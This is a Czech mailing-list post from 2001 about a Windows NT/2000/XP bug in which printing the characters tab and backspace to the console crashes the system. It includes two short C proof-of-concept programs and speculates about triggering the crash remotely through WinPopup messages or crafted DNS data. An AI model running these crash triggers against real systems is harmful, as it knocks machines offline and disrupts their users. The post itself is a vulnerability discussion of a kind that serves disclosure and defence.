Samba & Messages & Crash Windows & Security

Ing. Pavel PaJaSoft Janousek janousek na fonet.cz
Úterý Říjen 30 13:45:18 CET 2001


	Zdravim,

	vzhledem k tomu, ze me pritel upozornil na zavazny problem WinNT
jadernych Windows (WinNT, W2k, W XP) diskutovanych napr. zde:

http://groups.google.com/groups?th=9472d02d2b9e8e0e

V kratkosti:

Program typu:

#include <stdio.h>

int main( void )
{
     for(;;){
         printf( "hung up\t\t\b\b\b\b\b\b" );
     }
     return 0;
}

srazi Windows - nejkratsi uspesne 'provozovana' verze je:

#include <stdio.h>

int main(void)
{
     printf("\t\b\b");
     return 0;
}


	Chci se zeptat, (vzhledem k vyskytu stejneho efektu i pri zapisu na
porty, zapisu do souboru!!! apod.), zda-li se to tyka skutecne jen
spusteni programu z Windows, nelze wokynka srazit napr. messagingem? Mam
za to, ze jsou jedinci, kteri uspesne posilaji zpravy z Linux boxu ala
WinPopup apod. - co se deje pri vyuziti std. prostredku s temito spec.
formatovanymi spravami... - litaji Windows rovnez dolu? Osobne messaging
nemam rozbehany, proto to nemohu odzkouset a ptam se ostatnich.

[Mimo jine mne napada, ze pokud skutecne leti na drzku jadro i pri
WriteFile apod., pak by sly Windows shazovat i nekorektnimi zaznamy v
DNS - staci pokud o zalogovani nejake informace resolvnutou IP adresou
(ktera bude mit v sobe "\t\b\b" - odmitne to DNS server?) a mame po
ftakach... - je to jen velka paranoia nebo je chyba skutecne velmi
zavazny problem?]

	Verim, ze nevyvolam flame, ale opravdu konstruktivni debatu...

-----------------------------------------------------------------------
Ing. Pavel Janousek (PaJaSoft)                 FoNet, spol. s r. o.
Vyvoj software, Intranet / Internet          Sokolova 67, 619 00 Brno
E-mail: mailto:Janousek na FoNet.Cz             Tel.: +420  5  4324 4749
SMS:    mailto:P.Janousek na SMS.Paegas.Cz      Fax.: +420  5  4324 4751
WWW:    http://WWW.FoNet.Cz/               E-mail: mailto:Info na FoNet.Cz
-----------------------------------------------------------------------


Další informace o konferenci Linux